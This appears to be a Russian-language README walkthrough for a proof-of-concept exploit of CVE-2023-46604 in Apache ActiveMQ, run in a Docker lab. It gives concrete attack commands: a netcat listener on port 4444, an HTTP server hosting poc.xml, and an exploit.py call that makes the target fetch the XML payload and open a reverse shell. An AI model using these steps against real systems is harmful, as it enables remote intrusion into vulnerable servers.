cuanh2333/cve-2023-46604PoC-эксплойт для CVE-2023-46604, нацеленный на Apache ActiveMQ, доставляющий обратную оболочку через специально сформированную XML-нагрузку по HTTP.
CVE-2023-46604
Создайте docker-compose, содержащий два образа: машина жертвы и машина цели в соответствии с требуемой средой. На машине жертвы запустите ActiveMQ.
Переключаемся на машину атакующего: • Запустите HTTP-сервис для отправки PoC: python3 -m http.server
• Используйте netcat для прослушивания входящих подключений к машине атакующего: nc -nlvp 4444
• Отправьте полезную нагрузку для создания обратного подключения reverse shell к машине атакующего: python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Где:
Можно заметить, что после вызова команды выполнения файла 'exploit.py', эксплойт отправляет пакет 'poc.xml' с веб-сервера на цель — адрес службы ActiveMQ, запущенной на сервере цели. При этом веб-сервер HTTP на машине атакующего также получает запрос, отправленный с IP-адреса машины цели.
После отправки полезной нагрузки переключитесь на терминал, прослушивающий порт 4444 на машине атакующего. Мы видим, что reverse shell с машины жертвы был отправлен обратно.
